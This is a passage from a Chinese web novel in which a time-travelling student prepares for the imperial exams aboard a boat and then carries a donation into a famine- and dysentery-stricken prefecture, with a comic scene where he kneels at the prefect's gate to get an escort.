他一辈子都是王家的人,从内院的小厮做起,王家后院已经够清净的了,可他也看的明白,主母还是喜欢自己身边陪嫁丫头出身的妾室,轻易不会为难她们。 可那些良家女儿被买进来的,虽说比自家的奴才更有脸面,但是主母却不会同她们亲热,日子过得也没有丫头出身的妾室舒心。 段之缙也知道其中的道理,沉默一会儿还是应了下来。 施老太太端着茶碗出来,里边用滚烫的水冲开层层绿叶,茶香极为浓烈,还带着一股苦味——茶叶放多了。 段之缙接过,一边吹一边慢饮,施老太太又留他用饭,被施外公拦住:“你留他作甚?二爷最后一顿正经饭自然要和老爷他们聚一聚,听些吩咐,真是一点规矩都不知了。” 于是喝完了那一盏茶水,段之缙便和两位老人道别,回到了王家。 晚上也没有多少人聚在一起,只王老爷、秦先生和白老夫人,大家最后喝一场酒。 饭后,老夫人叫外孙去碧水台阁,又叮嘱了些话,最后拿出两个荷包并一个匣子,叫跟着外孙的琼香拿好,泪眼婆娑地开了口。 “可怜你母亲,大抵到现在也只有做娘的并几个姐妹还记着她。这个喜相逢荷包是给她的,里边有一万两的银票,匣子里的首饰都是江南现下时兴的样式,也带给她。这个五子登科荷包是给你的,里边也有一万两的银票,供你花销……” 段之缙看着琼香接过荷包和匣子,心中百感交集。 喜相逢,喜相逢,却不知母女二人还能不能再相逢。 那些殷切叮嘱,都成了上路时的牵挂,翌日太阳升起后,段之缙便带好银钱和路引,念着女眷们滚烫的泪水启程,先回到当日那个码头,然后乘船北上,仍是苗虎镖头带队护送。 琼香原本是王家的奴才,可段之缙用了他这么长时间,白老夫人做主放了他的奴籍,叫他跟着二爷北上。能做良人自然比做奴才强,琼香的家人亦为他高兴,催着他不要犹豫,琼香便应了下来。 当然,北上这一程也不是叫段之缙欣赏运河风光的,秦先生瞧他在船上适应得不错,当即决定开始授课,为明年八月份的院试做准备。 在轻微晃动的船上,秦先生摇着折扇,先给段之缙讲院试的规矩。 “正场开考的前一日,按惯例先考经古一场,分经解、史论、诗赋各题,你 选一门作答即可。经解要求不高,你也不必写什么时文,只要合乎当今御制的经书即可,《周易述义》、《诗义折中》、《春秋直解》为必备。诗赋要求做五言六韵诗……”说道此处,秦先生又问道:“之前教你的诗还记得多少?” 段之缙尴尬一笑:“一概不知。” 他一个现代人,极限水平是背诗而不是作诗。 秦先生闻言叹一口气,“无妨,为师相信你,还有一年多的时日呢,要学作诗得先背。每天背上二十首,这也有一万多了。就算你一窍不通也能依葫芦画瓢,总归朝廷对此的要求不高,你别胡说八道就行。” 他现下信誓旦旦,只是因为还不清楚段之缙的“一概不知”是真“一概不知”。 “考完经古,第二日为正场。五鼓时分提调官于考场外点名,申时净场不给续烛。考四书文一道,五经文一道和五言六韵诗一道。招覆一场考四书文一道,论题一道,五言六韵诗一首。” 论题秦先生之前草草讲过,段之缙大体知道些,题目多出于四书五经,或涉及历史,近两年来却多考伦理纲常,总逃不过《孝经》去,三四年前,各地的院试覆试一场,论题竟然统一,俱是“忠孝论”,也许是和太子自戕一事有关。 在科举考试的重要性上,“论”形式上虽不如时文严格,但也需走破题、承题、分论、结语四步,分论一步中还需层层深入、引经据典,因此对童生的逻辑和知识储备的要求更高,文风上要求骈散结合,侧重说理,更加像现代的议论文。 “你的论先生是不担心的,说理也算是你的强项。咱们这一年多的时间里首重读书,郑崑瑛读过的书先生为你抄录了书单,你就按照他的来即可,想你这一年也能学到不少东西。” 秦先生从怀中掏出一卷纸,上边密密麻麻得写满了各种书名,包括《陈旉农书》、《国脉民天》这种基本只在江南地区流传的农书和《河防通议》这等水利书籍,段之缙闻所未闻更何况是看呢。 他拿过那张书单,瞠目结舌道:“德润兄家中贫寒,如何能看这么多的书?” 秦先生感概一声:“尔锦衣玉食之人,何等优越的进学条件,偏偏两天打渔三天晒网。似郑崑瑛这般家中贫苦的子弟才是一心向学。他幼时家境尚可,父亲在小书肆中做掌柜,早早就送他入学启蒙了,聪明伶俐,难得的上进。” “后来呢?” “后来父亲急病去世,家中余钱也只够花销两年,便退了学去书肆中做伙计,逮着一点空闲便读书。再后来,那家小书肆便被你蒋先生买下。有一次才俊去书肆中查看,无意间发现了这棵好苗子,便把他推荐给明达做师爷。郑崑瑛做着师爷还得空在书肆中抄书,这么来回几年,你说他能不博览群书吗?” 原来如此…… 段之缙更生钦佩之情,自己能够穿越成官宦子弟实在是莫大的福气,如德润兄这种境况,非坚韧不拔之人难以应对啊。 可是郑崑瑛的大名自己竟没有在书中见过,真是奇哉怪也。 秦先生感叹完了,回到自己的正事上,说道:“先别管郑崑瑛,他自然有县令教导。你的任务还是紧得很。为师的打算是,不论名次,明年的院试能一次通过最好,德平府为大府,府学学额二十名,下辖州县十二个,安平县一次也就能去一两个,有时一个也去不了。安平县也为大县,县学每年定额十五人。” 段之缙在心里默算,入学的名额都是按照历年参与院试的人数拟定的,一般入学一名,府取三十名,也就是说自己要和大约四百五十位童生争夺。 “这一年多的时间里,你得先学会做试帖诗,所以今天我们也先学试帖诗。” 先生展开讲义,本想直接讲讲对仗之类的东西,结果这个学生还真是彻底的一概不知了!只能从幼儿启蒙开始,吩咐学生一边背着《声律启蒙》和《笠翁对韵》,一边背着《千家诗》与《唐三百》。 段之缙每日清晨起了,头一件事便是先背一遍“云对雨,雪对风,晚照对晴空。来鸿对去燕,宿鸟对鸣虫”。直到把这些声韵的东西都刻入脑子中了,才准进行下一步,学习《千字文》,把其中的物按照“天文”、“地理”、“草木”、“器物”等类别归纳词汇,形成对仗词库。 大概是五六天的功夫,弄完这一套的段之缙水平突飞猛进,比之六七岁刚学诗的幼童也是不差的。 与此同时,他还要上课,听秦先生重授时文的内容,只因院试的要求比前两场严格太多,对时文的要求也高。 今天早上天气甚好,微风徐徐水汽却不很多,扑在人的脸上只觉凉爽不觉粘腻,先生便将授课屋内四处的窗全部打开,还能顺道吹走烟味。 冯胜也跟着先生上课,如今已经学会点烟了,秦慎之刚刚拿出来烟袋和烟斗,剩子就跑过去给先生装上烟丝顺便点燃,然后回到自己的座位上,等先生先给大哥哥讲时文,再教自己启蒙的知识。 “县试、府试两场,重视你们对四书五经的理解,对时文格式的要求还不十分严格,可到了院试阶段,一字一句可都要乡试规定的来了。” “第一,题目字句不得错落,真稿篇数不得短少,誊抄不能用行草,涂抹不能过百字,卷页不得横一撇竖一捺杂乱无章,更不得曳白及油墨污染。” “第二,时文破题分别用‘也’、‘焉’、‘矣’;承题用‘夫’、‘盖’、‘甚矣’、‘乎’、‘欤’;起讲用‘意谓’、‘若曰’、‘以为’、‘今夫’;小结用‘盖’,大结用‘抑’、‘大抵’、‘嗟夫’等字。不过几篇时文的开头不能用同一个字眼。” 先生说着,又拿出笔墨纸砚,叫段之缙上前来看,一边写一边讲道:“第一场的时候,要在第一行顶着格写上‘第一场’,另起一行先空一格,写‘四书’,再另起一行空两格誊抄上题目,要是题目太长一行写不下,写到下一行的时候就得空出三个格,以此类推。懂了吗?” 段之缙也拿着笔墨,将先生写得格式详细抄下,小字写上解释,点头应是。 秦先生等他记完,又给他示范抬格的规则:“尊卑有序,如写列圣、皇上或者‘朝廷’等,一定要记着另起一行重写。其中另起一行空一格书写的叫单抬,空两格为双抬,空三格者为三抬。写法是这样的……” 先生絮絮说着,又补充道:“等会儿先生会给你列一个单子,哪些字眼抬几格千万要背下,一旦弄错就要被黜落的。” …… 在船上的日子颇有些高中时的滋味,每日睁开眼睛先背书,也就是上早读;然后便开始一天的课程。 上午秦先生讲论、时文和试帖诗,下午段之缙按照先生的要求读书、背诵,又一日写三篇时文,一道论。晚上还要读书、背诵,每天都充实得很。 …… 夏季走水路果然要比冬天走陆路快得多,等到六月三日的时候,他们已经在山东上岸,再转陆路去往玉平府,寻找冯胜的母亲。 深夜里,一行人在客栈歇脚,冯胜已经叫琼香搂着呼呼大睡,可段之缙却怎么也睡不着,他心里清楚得很,冯胜的母亲是凶多吉少了。 睡不着干脆也不睡了,披上一件外袍趿拉着鞋子就去敲秦先生的门,小声唤道:“先生,先生……你睡了吗?” 一时半会儿没有回音,段之缙轻轻一推,门竟然开了一条缝。 没锁?这也太危险了吧? 段之缙嘀嘀咕咕地进去,发现秦先生伏在案边,桌子上俱是他白日里做的时文,用朱砂墨圈点修正,又有冯胜描的字,也被仔细瞧过,写上标注。 唉……段之缙如何能不动容? 他将先生挂着的袍子取下披在先生身上,可就是这轻轻的举动吵醒了秦慎之。 他迷迷糊糊地睁眼,看清眼前人是谁,疲倦地叫段之缙坐下,问道:“这么晚了,来我这作甚?” “学 生想着明天就要进永明府,过了永明,离玉平也就不远了,快要把冯胜送回去了,心里就不是滋味。” “为何?” 段之缙沉默,想着那日漫天的风雪和数不尽的亡魂,终于开了口:“您也知道,她母亲恐难以……” “那你是怎么想的呢?” “他父亲早亡,母亲现在如何也尚未可知,若是能活下来自然最好,可万一……学生想着,若是冯胜有叔伯之类亲戚愿意教养他,他自己也愿意留在故土,学生多赠与他们些银两,叫他们好生照顾。若是冯胜无亲可靠,他的叔伯不愿意养他,或者冯胜不愿意留在玉平,学生就把他带回家中。” 秦先生指一指自己空了的茶碗,段之缙赶紧起身给先生倒水,正低着头的时候便听见先生有些困倦的声音。 “带回你家去,是给你做奴才还是给你做弟弟?” 先生的这句话不是真的要问出个答案,而是暗示自己另有打算。 段之缙自然听明白了,问道:“那先生的意思是?” 秦先生打一个哈欠:“带一个孩子回去,这种事儿你自己做不了主的。为师看冯胜读书还不错,有几分悟性,若是他无处可去,为师就将他养在家中继续读书,就当是朋友的孩子。” 段之缙大喜过望,当即给先生行大礼:“学生替冯胜谢过先生!” 秦慎之把他拉起来,言说自己要睡了,推着段之缙出去又把门锁上。 第二天赶了一上午的路,果然到了永明府城门,门口零星的几个人,正在被门军查看路引。 段之缙一行人下马车的下马车,下马的下马,列好队叫门军查看路引。 头一个被验看的就是段之缙。 门军拿过路引,上边写着: “淮宁安平县为护送遗孤事: 据本县生童段之缙,年十九岁,面白无须,淮宁省安平县籍,原领顺天府县试路引,禀称: 于崇德十六年从渝州府往玉平府官道上拾得男童一名,名冯胜,约八岁,圆脸,左腮有小痣一颗,询系山东省玉平府寿张县人氏,因乱与亲失散。现无人认领,恳请护送回籍。 经查属实,准予段之缙携该童前往玉平府寿张县交亲属或官府安置,限四十日内抵达,沿途关津验照放行,毋得阻滞。须至引者。” 下边写着时间,盖着官印。 门军查验一番后,却没有立即放行,蹙眉道:“离了永明府,下一个就是玉平府了,但我还是劝你们莫去了。” 段之缙和秦先生面面相觑,秦先生上前问道:“这是为何?” 门军回:“之前各府大旱,玉平最为严重,饿死的人埋都埋不过来,朝廷的赈灾粮下来后,该说不说的,应当能好些了,谁知道玉平又爆发了疫毒痢,听说拉的都是血了。现在知府虽没叫封了玉平府,可谁敢去那里?你们还是先顾着自己吧。” 第36章 036永明府知府 那门军说完,冯胜就抽抽嗒嗒哭了起来,慌里慌张地问段之缙:“大哥,俺娘不会……” 这叫段之缙如何说?剩子的娘亲原本就是凶多吉少,现在看来,回了玉平府也是生死难料。只是这话能跟孩子说吗?跟他说他的母亲生还的可能性微乎其微?叫段之缙如何忍心。最后拍拍孩子的脑袋承诺道:“无论如何,哥哥一定给你一个交代。” 秦先生瞅一眼段之缙,问道:“你现在要如何?还要去玉平吗?” 段之缙也在犹豫,大灾之后有大疫,这是封建王朝脱不开的事情,尤其是古代的医药水平,在现代一管抗生素就能治好的病放到如今不知会死多少人。段之缙不敢拿自己的生命冒险,也不敢用这一行人的生命冒险。 可是剩子的娘亲还得寻找,万一她逃出生天,不仅回到了玉平还躲过了疫毒痢呢?况且除去母亲的银票首饰不能碰,自己身上还有一万两银票,若能捐赠给玉平府,想来也能救活不少人命。 思考了好一会儿,段之缙说道:“先生,我们先进府城打听打听情况,然后再做决定吧。” 秦先生点点头,大伙上马的上马,上马车的上马车,浩浩荡荡进了城。 这条道宽敞得很,只是路上才几个行人,街边空荡荡连个叫卖的小贩都没有,可段之缙回想起起城外葱茏的麦田,心中难免奇怪。 这一路也进了不少的府城、县城,不说每一个都是繁华热闹之景象,到底人口繁盛,不会如此萧条。今年山东降水又正常,府城外的庄稼长得也好,为何城内却是这一副模样? 车马声粼粼,最后停在一个客栈前,众人推门而入,连个招待的人也有没有。 段之缙大声喊道:“有人吗?!” 声音一路往上升,震荡了三层小楼,桌子上的灰也纷飞下落,一个灰袍老汉儿带着细窄脸小子一路跑下来,看见他们这一伙人惊得张大嘴:“俺的亲娘哎,这老些人!” 然后想想现在的时局,先把脚边的条凳扛起来护住身子,哆哆嗦嗦地说:“恁几个不是来砸明火的吧?俺可把话撂这儿,知府大老爷剁响马就跟削瓜似的!” 秦先生叫身材魁梧的镖师们先往后撤,只身上前解释道:“我们都是住店的良人,这是我的路引,若是您还不放心,其他人的路引您也可以看看。” 掌柜接过路引一看,放下心来:“恁几个真格儿是来住店的?” “这还能有假?” “那敢情好六子,麻溜儿领着客官上楼!”掌柜放下条凳,喜笑颜开,叫身旁的儿子领着大家上楼,又看看落着灰的桌凳,歉意道:“实在对不住,叫这饥荒闹的,俺们这店也老些日子没开张了,埋汰得很。小老儿姓孙,您叫我老孙就成。”语罢朝着楼上大喊:“孩儿他娘,甭躲楼上了,下来拾掇拾掇桌子板凳!” 一个老妇人先抻头抻脑地在楼上观察了一番,这才拿着抹布下楼收拾,嘴里还说个不停:“您甭往心里去,俺们这几年年头不好,大家伙心里都怕着呢……恁们一看就是好人!” 段之缙笑笑,跟着秦先生一块去柜台那边,孙掌柜打着算盘问道:“客官打算住几天啊?” “您先给我们算一天,但是这也说不准,若是缺了银子我们再补。” 掌柜盘算一番回道:“要搁平时,这事儿指定不中,俺们做买卖的,迎来送往都得有个成算。可您瞅瞅这年景,两三个月了,今儿个才开张头一遭。就依您说的办吧。俺们这儿有两间上房,五间下房,还有两溜大通铺。瞅您还牵着牲口,赶着大车,俺这儿有草料棚,能伺候。就是这价钱嘛……” “你要多少钱?” 掌柜嘿嘿一笑:“不是俺做买卖的心黑,去年那光景,永明府城外头都啃上草根子了,城里头掺沙子的麦子比往年雪白的精米还金贵。今年刚缓过劲儿来,喂牲口的草料也不贱。这么着吧,甭管一天造多少,一天给俺二两银子,中不?” 这是抢钱啊!不过他也不算是狮子大开口,马这类的牲口还和旁的不一样,得□□细的牧草,否则不好上路,段之缙答应下来。 孙掌柜乐呵呵一打算盘,又说道:“要是叫俺们管三顿饭,还得添些银子。恁带的人马不老少,可俺们眼下也支应不起啥好嚼裹。黑面馍馍、大锅熬菜管够,一天三顿,一个人三钱银子,中不?旁的实在是拿不出来了。” 三钱就是三百个铜板,往常年一斤猪肉才四十个铜板上下,如今吃点粗面馒头都要三百文。 段之缙犹豫着,秦先生哈哈一笑:“吃!就吃这个!”他转向段之缙道:“你该是没吃过黑面馍馍,可香着呢!”实则心眼坏得很,想叫这个娇生惯养的孩子知道知道什么是年景不好。 于是孙掌柜一家三口人喜笑 颜开地帮着大家收拾,打量着这一回能挣不少钱呢! 这一趟一直收拾到了傍晚,被褥也整理齐刷,都是浆洗过的干净褥子,老板娘也在后厨做好了饭,大家也不讲什么规矩,都是凑在一堆儿吃的。 熬菜里边什么都有,长豆角、黄瓜、茄子,还有一小块豆腐,配着一点点肉片,全叫老板娘舀出来送到了客人碗里。 她把手在抹布上擦擦,扯出来一个笑:“这些个嚼裹都不容易得,还是往年晒成干儿攒下来的,现在全紧着种麦子,谁也不敢种点菜。还有这么点子肉星儿,也都紧着客官吃。” 说着,又捡了两筷子豆腐送到六子碗里,自己就生啃黑面馍馍。 秦先生咬一小口馍馍细细地嚼,段之缙把馍馍拿在手里看了好长时间也没看出来什么奇特之处,现在也是真饿了,一口咬下去,一阵牙酸。 那一口搀着沙的面在口里含了好久,脖子一抻直接往下咽,嗓子都疼。 先生笑着拍他的背,叫他喝一口菜汤直接顶下去。 “这东西好吃吧?” 段之缙当着做饭人的面也不好意思说不好吃,尴尬地看向秦先生,孙老板却不介意,啃着馍馍笑道:“恁几位一打眼就是大户人家的做派,怕是没吃过这路粗食。去年那光景,连这都捞不着吃呢。” 段之缙把手里那块黑馍馍一点点撕着往嘴里填,又想起白日里看见的葱茏麦田和空旷的街道,不由地问道:“孙掌柜,不是玉平受灾吗?为何永明府也是这般的光景?” 孙掌柜“嗨”一声,把自己碗里的菜都倒给媳妇吃,又把零星的肉捡给小儿子,哀叹一声:“流年犯太岁,咱山东十府两州没个囫囵地界。龙王爷瞎么糊眼的,连个喷嚏星子都不带打的。前年勒紧裤腰带还能将就,去年又是旱魃作祟又是蚂蚱遮天,连杨树皮都啃秃噜了,人还能嚼裹啥?说是玉平受灾,其实一连串的地界都没见着雨。” “朝廷不是发了赈灾钱粮吗?永明虽然也困难些,但也不至于再饿死人,为何玉平出了疫毒痢?” 掌柜挤眉弄眼,声音放的老低,几乎是用气音来说:“这还用得着掰扯?那赈灾的银子粮食打老远运来,押车的丘八爷爷们拿走头一份!” 老板娘也气不打一处来:“要是干等着朝廷的赈灾粮下来,俺们这些人早就饿成干儿了!”说着,撕一口馍馍:“算俺们命好,摊上个敢扛事儿的府台老爷!去年蚂蚱过境后,俺们老爷就破了常平仓的封条。虽说喝的是照人影的稀粥,好歹没饿死了去。后来朝廷拨的赈灾银子,全换成高粱谷子填回仓里,开春当粮种撒到地里,这才支棱过来了。” 这就更奇怪了,永明府有常平仓,玉平府也有常平仓,怎么就这儿的府台能开仓,玉平的府台干什么去了? 掌柜从鼻子里哼出声气儿:“这话俺可不敢浑说……听讲玉平府的常平仓,里头能跑马咧!” “空仓?!” 段之缙眼瞪得跟铜铃似的。 常平仓可是保命的根本,年景好时官府籴粮抬高粮价,防谷贱伤农,荒年开仓平粜救急。再说了,买粮的银钱大半是户部划拨,地方上不过添个零头,怎么可能出现空仓! 秦先生冷笑一声:“还能为啥?玉平知府现在该满地找头了!” 掌柜一拍大腿:“叫您老说着了!去年眼瞅着要祭灶了,叫人按着进了京,听说是斩立决!俺们府台老爷也差点挨了砍,多亏万岁爷圣明,最后画了赦罪的朱批。” 段之缙看看秦先生:“开仓放粮,救活无数生民难道还有罪处?” “常平仓放粮讲究个章程定额,不是你想开就能开。像去年闹了蝗灾,粮食紧缺,恐怕整个儿的粮仓都要放干净,不上奏放粮是死罪,更何况将整个粮仓都放空……” 说到这,秦先生转向掌柜:“你们府台是谁啊?” “来了好几年了,好像是叫童什么,童禀……。” 秦先生接道:“童禀声?” “对对!恁知道俺们大人?” 秦先生尴尬地摸摸鼻子,何止是知道,熟得很呢……但是那些往事渊源也没必要讲出来,还是先说点别的吧。 紧贴着秦先生的段之缙也在脑子中回想起了这个知府的信息,实为猛男一个。 他是康王之女——惠照郡主之子,原本还老老实实地考科举,结果当今一登基,也不用考了,出手就是从二品的散秩大臣,领着侍卫处。后来不知怎么了也被踹出京城,只是打断骨头连着筋,到底是皇亲国戚,估计参劾他私开常平仓也是走形式,皇帝还能杀了自己堂姐妹的儿子? 后来新皇登基,此猛男就领兵打仗去了。 一伙人一边吃饭一边说这几年的旱灾,然后收拾收拾东西回自己的屋子,段之缙读完了书也该睡觉,可他躺在床上像个蚕蛹似地滚动,怎么也睡不着。 现在为了保全众人,应当立刻掉头回到京城,因为城池之间并无严格的隔离,说不准哪一天疾病就突破了城池传到永明府。 可也许是空荡荡的常平仓和听不见的呻吟呼号牵着他的心,在这个静悄悄的深夜里,段之缙终于下定了决心。 最起码要去玉平府看一看,倘若自己能想到一些方法也多少救活些人命,即便不能也要把银票送过去。 第二天一早段之缙就和先生说了自己的想法,吩咐众人留在客栈中,打算自己只身前去,因为多一个人去就多一个传染源。 孙掌柜却听得脸色一白:“哎哟俺的亲娘!恁是嫌命长啊?玉平府那地界儿乱得跟马蜂窝似的!打永明到玉平这道儿上,十步一绺子,八步一杆子,恁就是请了镖局把式,敢走这道儿?这是要往阎王爷的生死簿上按手印啊!” 秦先生本就不放心,现在更不放心,非要和段之缙一块先去永明府府衙,然后再一块儿去玉平,可段之缙十分坚持,活脱脱就是一个犟种。 先生拧着两条眉毛,也不知道说他什么好,最后叹一声:“罢了,你的确长大了,都是要及冠的人了……只是先同你说好,若你三天没回来,先生是一定要去玉平府衙找你的。” 段之缙自然不答应,百般推辞,这会儿就能看出来他这犟脾气和谁学得了,原来是学生随老师,秦先生寸步不让。 最后两个人各退一步,倘若段之缙五天内回不来,秦先生就去府衙找他。 之后先生以自己的名义写了拜帖,又以吏部员外郎之子的名义写了一封,两份拜帖都交给段之缙,叫他先去找永明府知府,到时候哪一封有用便用哪一封,又叮嘱他不要把银子全捐给玉平府,给永明府也分两千两,倘若府台犹豫也不要害怕,死皮赖脸地求即可。 段之缙应下,镖头驾着马车将他送去府衙。 马车刚在西角门停住,两个持刀的衙役就上前询问,恶声恶气道:“干什么的?这可是府衙西角门!” 段之缙掏出自己的拜帖递给差役,不气不恼道:“鄙人知永明府现在困难,也没有其他能相助的,唯有出些钱财,尽我绵薄之力。这是我的拜帖,劳你们为我呈递。” 原来是捐银的,只要不是闹事的就行,那两位衙役声色顿时好了起来,一位拿着两张拜帖进门,一位仍在原地盯着段之缙一行人。 没过一会儿,门被拉开,一个师爷打扮的人满身疲惫地走出,印堂中间是紫红色的於痕,竖着一道,一看就知是自己捏的。 他跟飘一样走到段之缙身旁,先打量一番这才领着人进门,府台大人童禀声就在堂屋里接见。 段之缙一介童生,自然要行跪拜大礼,府台叫起,问道:“你这两张拜帖都是真的?” “学生不敢造假。” 府台嗤笑一声:“秦行收了段成平的儿子做学生……真是天下之大无奇不有啊!” 段之缙一听便知这位府台大人不仅知晓段家之事,还知晓秦先生的过往。 这个爹还真就是来克他的。 正色肃声,段之缙道:“府台大人明鉴,孔圣门下有宰予昼寝,释迦座前有央掘摩罗,大概学生 还没有到‘朽木不可雕’的程度,也能说一句尚可教化,先生这才愿意竭力教导。”他从自己怀中点出两千两的银票,恭恭敬敬地呈上:“如今看来,先生也的确教会了学生一点仁心,倘若府台大人不嫌弃学生力薄,还请收下。” 只有傻子才跟银子较劲,再说了,人心再脏,银子总是干净的,更何况现在永明府还缺钱呢。 童禀声起身走到段之缙身边,先接过银票看清了真伪确定能兑换出来,这才叫段之缙起身:“大抵秦行当真有几分本事,这是难得的善举,本府会将你的名字添到捐输册中,等麦子熟后连带麦穗一起呈给陛下。” 段之缙却仍跪在原处,以额触地:“学生不敢有此奢望,只求大人能答应我一件事。” “啧……你若是有非分之想,本府可无能为力。” “不敢,学生另有八千两银票,想要捐给玉平,只是听说这一路上不太平,想要求府台大人招人护送。” 童禀声坐回自己的太师椅:“两千两银票还安排上本府了?我这儿忙得很。再说了,捐给何处不是捐?给我永明也是一样的。” 段之缙抬头深深地望着府台,双目炯炯有神,一脸正色道:“这银子学生是一定要捐给玉平府的,若是府台大人不肯答应,学生便跪着不起来。” 这还真有几分意思了,他以为这样能治的了谁? 童禀声呷一口茶,眼珠里俱是冷意:“你愿意跪,跪死在这儿也无妨。银票本府收下了!”语罢袖子一甩离开,回到正堂中办公。 现在一府十二县,手头都紧得很,这两千两银子往哪里用还得再想想,他正琢磨着,才过了一会儿,师爷就苦着脸冲了进来,消下去的腮涨得通红,气喘吁吁,说话都不利索。 “不……不好了!” “还能有什么不好的?” “方才,方才那个人出了府衙……” 童府台正想讽段之缙没点毅力,师爷紧跟着来了一句:“他跪到西角门门口了!” 腾一声站起,府台目瞪口呆。 跪到门口了?! 西角门正对着的那条街是叫平民百姓过路的,虽说现在萧条,可也还有人过路,要是聚众围观弄出来流言蜚语…… “那些衙役都是吃干饭的?!没有一个把他轰走?” 师爷脸都要缩成一团,“他自己说是大人叫他跪在那里的。还说要是府台大人不收下他的纳捐银子,就死也不走,现在不少人围着看了!” “他还真是不要脸了!叫他进来!” “小的叫了,他说府台不答应就跪死在门口。” 原来是这么个跪着不起来!童禀声咬牙切齿:“老子一辈子的清名,今天非毁在这个小畜生手里!跟他说本府答应了,叫他滚进来!” 师爷领命往外冲,没一会儿就把段之缙提了进来。 知府见了他上前一步给他一脚,段之缙灵活一躲,但也不敢真躲过去,这一脚挨得不那么重罢了。 “好你个混账东西!是不是秦行那厮教你的!” 这是说还是不说?段之缙想了想,决定先把战火转移,点头道:“先生说,要是您不答应就举着银票跪到门口去。” 果然是他!秦行就是来克我的! 可恨了一顿,现在也认了,总不能杀了这个小孽障,若是关着他不放,秦行也得上门来要,到时候闹起来,场面更不好看。 不就是兵吗?老子这样的出身,只要问总兵要,他也不会为难。 知府不耐烦地说道:“行了你回去吧,明天辰时来府衙,一队兵士会往玉平送些粮,你跟着他们走就成。” 段之缙大喜,真心诚意磕了一个:“多谢大人!” 童禀声连声让他滚,然后回头跟师爷吐槽:“真和他那个死先生一个赖皮样,要不是他这个王八,老子原本从二品的散秩大臣,又领着刑部,近臣中的近臣,怎么就一路干成了小小的知府?” 师爷跟了他这么长时间,如何不知他的身份,现在只能尴尬一笑,全当自己没听见。 第37章 037雄黄 翌日清晨,段之缙拜别了先生,哄好哭哭啼啼的冯胜,乘马车来到府衙西角门前,差役一见他便领了进去。 此时童禀声正在与两个外委把总讲话,后者负责此次运送粮食和一些药材的任务。 段之缙进去先行大礼,童禀声任他跪着也不搭理,先将要叮嘱的叮嘱好,过了得有一刻钟才叫他起身,领着大家去院子里。 院子的空地上站着五六十个兵丁,背着鸟枪,一脸杀气,瞧样子像是真的上过战场杀过人,和守门的士兵明显不一样。 靠着墙角处,高高低低堆着赤土色的陶罐,师爷领着差役上前打开,然后将里边的酒水分装了五六十碗,分给兵士和把总,段之缙也接过一碗。 童禀声气沉丹田,朝着院子中的人高声说道:“这一批粮食和药草,是先前就和玉平知府说好了要运过去的,只是想着过一段时间,时疫控制住了再往那送,现在看来,若是要等,玉平也撑不到那个时候,这才突然跟总兵要了你们出来。” “你们都是真汉子,杀过响马,给朝廷立过功的人!这一路上劫道的土匪多,不太平,还得靠你们庇佑,这个小子和本府的粮食就托付给大伙了!” 他说着,举起手中的雄黄酒豪气一笑:“山东旱了两年,这点儿酒水还是之前存下来,里边溶了雄黄,既是给大家伙避疫也是为了饯行!祝愿大伙马到成功!”童禀声说完,将橙黄色的酒水一饮而尽,手一扬就要往地上摔,但又突然停住好生放在了桌子上。 也难怪,现在什么东西都紧俏得很,小碗还是留着吧。 师爷收拾好东西,又捧出一个小坛,里边是一团团白色的棉花团子,兵士们列队上前,一人领了两个塞到鼻孔中。 段之缙凑到童禀声身侧问:“大人,这是什么?” 童禀声瞟他一眼:“用棉花包起来的雄黄。” “这有什么功效?” “避瘟疫的……这你也不知道?上去拿两个,别在死路上了!”童禀声真是烦得很,他怎么不记得自己二十来岁的时候也是这一副傻子样? 段之缙上前拿了两个堵在鼻孔中,一呼一吸间俱是雄黄的臭味,叫人差点吐出来。 他此时还不知道这个东西不仅效用不大,还是有毒的,只是觉得塞在鼻孔中难受,忍不住用嘴呼吸。 终于准备好了一切,段之缙跟在知府身后从东辕门出,差役正看守着那几十匹马同十几辆满载着粮食的大车,见当兵的出来了连忙退开。 两个外委把总跟知府抱拳行礼,利索地翻身上马,段之缙却和知府两两相望,终于弄明白了府台的意思。 原来童禀声是打算叫段之缙也骑马去! 天可怜见,段之缙上一世骑那温顺的小马都战战兢兢的,更何况是如今的战马? 那匹专为段之缙准备的枣红马被养得甚好,肌肉鼓胀身姿健硕,打响鼻的声音都比旁的马大,黑色的马鬃如海波一般随风飘逸,身上的毛发闪着油光,像缎子一样顺滑。 段之缙更不敢骑了。 童禀声眼睛一瞪,嗔道:“怎么,看不上我这匹朝霞?这可是打番子那儿弄来的好马!是老子从京里一路带到山东的马!” 段之缙也是怕了他,回道:“大人,不是我嫌弃您的马,只是学生骑艺不精,不敢骑这么好的马。” 童禀声嗤笑一声:“原把你当作秦行的学生高看你一眼,结果秦行就教了个这?净耽误事儿了……”他回头叫师爷把朝霞牵回去,然后牵一头小毛驴出来。 “马驾驭不了,驴子总能吧?” 段之缙什么牲口也不想骑,只可惜现在就这条件,不能上也得上!想了想驴子也不高大,没甚好怕的,压了压自己的心跳,这才姿态十分不雅地骑到驴背上,又被童禀声嘲笑一番。 终于上路了…… 几匹马拉着车,大家背着鸟枪哒哒哒地前进,段之缙明显比旁人矮一头,驴子咯哒咯哒地前进。 刚从府城东门出去,大道上一片荒凉,别说人 影了,连个虫影也不见。 再往前走,是破败的村庄和大片荒地,明明是麦草青青的时节,该种满庄稼的地方却杂草遍生,不知埋没了多少的血肉。 路边还有破碎的衣裳,已经被太阳晒得颜色全然褪去,灰扑扑地泛着尘土。偶见人骨被遗忘在路边,有些尚新,仍附着肉,有一些已经惨白了。 晌午的时候还发现了有人在山坡上瞭望,不知是不是盯梢的土匪,最后还是风平浪静,没发生什么祸端。也许是他们瞧见这一队骑着马背着枪的人害怕。 一路不停歇地走,除了段之缙实在受不了雄黄的气味用口呼吸外,每一个人都紧闭着嘴巴,不饮不食,一直走到了暮色沉沉,走过了三四个县这才到了玉平府城。 玉平城门口没有什么查问的门军,因为连流民也不会往这边来,城头上瘦弱的门军看见有人靠近,扯着嘶哑地嗓子喊道:“做什么的?” 严把总拿出自己的凭证,中气十足地朝城墙上喊:“奉永明府总兵大人的令,运送粮食和一些药材来!” 两个人又核对了一番信息,城门开了一条小缝,挤出来一个小兵又立刻关上,这是防着他们是响马,万一装作好人进了城,不知会造多少的杀孽,幸好还有一个方法能辨别真伪:现在年头不好,响马不可能有这么多的粮和药。 小兵步履蹒跚地靠近,接过凭证验看,又划开了粮袋和药草袋查看,确定了每一个袋子都是粮和药,这才朝着城楼上点点头。 城上的长官大喜,即刻遣人去找知府大人。 玉平府知府杨度急匆匆地赶来,先问过那袋子里装的什么,这才在城墙上大喊:“是童府台叫你们来的!” “正是!” 杨度喜极而泣,一边吩咐人开城门一边抹眼泪,又喜又嗔:“说好了的事儿,可他娘地送来了……” 